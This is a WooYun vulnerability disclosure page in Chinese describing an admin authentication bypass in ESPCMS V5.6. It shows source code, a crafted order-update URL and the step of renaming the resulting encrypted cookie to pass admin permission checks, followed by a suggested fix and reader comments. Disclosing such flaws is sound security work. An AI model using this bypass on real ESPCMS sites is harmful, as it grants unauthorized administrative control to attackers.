当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(14) 关注此漏洞

缺陷编号: WooYun-2013-23746

漏洞标题: Espcms V5.6.13.04.22 UTF8 正式版另类过后台所有模块验证漏洞之5/N

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: Code_Sec

提交时间: 2013-05-15 09:07

公开时间: 2013-08-10 09:08

漏洞类型: 设计错误/逻辑缺陷

危害等级: 高

自评Rank: 10

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 设计缺陷/边界绕过 espcms

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-15: 细节已通知厂商并且等待厂商处理中
2013-05-20: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-07-14: 细节向核心白帽子及相关领域专家公开
2013-07-24: 细节向普通白帽子公开
2013-08-03: 细节向实习白帽子公开
2013-08-10: 细节向公众公开

简要描述:

另类利用Espcms的加解密函数,绕过后台所有模块的权限验证
额。。。解释起来比较长,算是一种思路

详细说明:

后台权限验证的类文件:\public\class_connector.php

code 区域
function admin_purview() {
if ($this->fun->accept('archive', 'R') == 'filemanage' && $this->fun->accept('action', 'R') == 'batupfilesave') {

$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'G');
$esp_powerlist = $this->fun->accept('esp_powerlist', 'G');

$gettype = false;
} else {
$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C');
$esp_powerlist = $this->fun->accept('esp_powerlist', 'C');
$gettype = true;
}
$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));



关键代码解释:

我们如果知道db_pscode的值的话就可以任意构造$ecisp_admininfo了,但是不可能

db_pscode在网站初始化的时候就已经设定,并且是随机生成的32字符串

define('db_pscode', '5ae8d385e6ae4a4f633cacd28');



换个思路:

程序中其他的文件会用到加密函数,如果这个需要加密的变量可控,而且加密后的密文我们可以拿到。这样就相当于让程序帮我们构造找我们需要的加密数据了。



最终找到一个文件符合以上的需求\interface\order.php:

code 区域
function in_orderupdae() {
$bprice = $this->fun->accept('bprice', 'P');
$didlist = $this->fun->accept('did', 'P');
$amountlist = $this->fun->accept('amount', 'P');
foreach ($didlist as $key => $value) {
$arraykeyname = 'k' . $value;
$amount = intval($amountlist[$key]);
$orderlist[$arraykeyname] = array('did' => $value, 'amount' => $amount);
}
$orderlist_ser = serialize($orderlist);

$this->fun->setcookie('ecisp_order_list', $this->fun->eccode($orderlist_ser, 'ENCODE', db_pscode), 7200);



通过代码我们可以看到$orderlist有可能可以被我们控制,为了说明方便加段代码输出:

code 区域
function in_orderupdae() {
$bprice = $this->fun->accept('bprice', 'G');
$didlist = $this->fun->accept('did', 'G');
$amountlist = $this->fun->accept('amount', 'G');
foreach ($didlist as $key => $value) {
$arraykeyname = 'k' . $value;
$amount = intval($amountlist[$key]);
$orderlist[$arraykeyname] = array('did' => $value, 'amount' => $amount);
}
$orderlist_ser = serialize($orderlist);

$this->fun->setcookie('ecisp_order_list', $this->fun->eccode($orderlist_ser, 'ENCODE', db_pscode), 7200);
$ecisp_admininfo = $this->fun->eccode($orderlist_ser, 'ENCODE', db_pscode);
$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));
list($this->esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $this->esp_powerid, $this->esp_inputclassid, $this->esp_softurl) = $arr_purview;
print_r($arr_purview);
echo "<br />";
echo "esp_adminuserid->".$this->esp_adminuserid."<br />";
echo "esp_username->".$this->esp_username."<br />";
echo "esp_softurl->".$this->esp_softurl."<br />";
echo "esp_useragent->".$this->esp_useragent;;die();



构造url:

**.**.**.**/index.php?ac=order&at=orderupdae&bprice=anb&did[aa]=87|dcc|ccc|a1|a2|a3|a4|a5&amount=1

最终输出的结果为:

code 区域
Array ( [0] => a:1:{s:26:"k87 [1] => dcc [2] => ccc [3] => a1 [4] => a2 [5] => a3 [6] => a4 [7] => a5";a:2:{s:3:"did";s:25:"87 [8] => dcc [9] => ccc [10] => a1 [11] => a2 [12] => a3 [13] => a4 [14] => a5";s:6:"amount";i:1;}} )
esp_adminuserid->a:1:{s:26:"k87
esp_username->dcc
esp_softurl->a4
esp_useragent->a1



再返回之前admin_purview权限验证的函数对比,此时esp_adminuserid满足不为空,esp_username也满足不为空,esp_softurl和esp_useragent都是可控的。

esp_softurl代表网站后台的路径,esp_useragent代表本机agent值,都是可知的。用md5加密下。

最后构造的URL:

**.**.**.**/index.php?ac=order&at=orderupdae&bprice=anb&did[aa]=87|dcc|ccc|5f4f40bac141a48d05a94ac90514fe05|a2|a3|c8273f6a0177588459b1971c65829cc6|a5&amount=1

g.jpg



把cookie中ecisp_order_list改为ecisp_admininfo

访问后台地址:

i.jpg

漏洞证明:

下面显示Cookie err,木问题,点其他连接都是OK的

j.jpg

修复方案:

后台的权限还是从cookie解密获取帐号和密码后去数据库验证一遍

版权声明:转载请注明来源 Code_Sec@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-08-10 09:08

厂商回复:

漏洞Rank:10 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-05-15 09:28 | 煦阳。 ( 普通白帽子 | Rank:134 漏洞数:27 | 这个人很懒,什么都没留下。)
    0

    N>1000?

  2. 2013-05-15 11:01 | niliu 认证白帽子 ( 核心白帽子 | Rank:1719 漏洞数:226 | 逆流而上)
    0

    楼主是来打劫的吧

  3. 2013-05-20 12:38 | 纠结师 ( 实习白帽子 | Rank:53 漏洞数:12 | 传说中的废材)
    0

    嘿,忽略了 以后搞洞有着落了?

  4. 2013-05-20 12:49 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    0

    @纠结师 @易思ESPCMS企业网站管理系统 @Code_Sec 忽略不怕,乌云给补rank~

  5. 2013-05-21 07:45 | 纠结师 ( 实习白帽子 | Rank:53 漏洞数:12 | 传说中的废材)
    0

    @疯狗 洞主都叫源码安全了 BUG重现者??

  6. 2013-08-11 22:47 | 膜拜hym ( 路人 | Rank:15 漏洞数:2 )
    0

    真漂亮

  7. 2015-09-01 13:07 | Elliott ( 实习白帽子 | Rank:48 漏洞数:11 | 绝逼不当程序员)
    0

    膜拜

登录后才能发表评论,请先 登录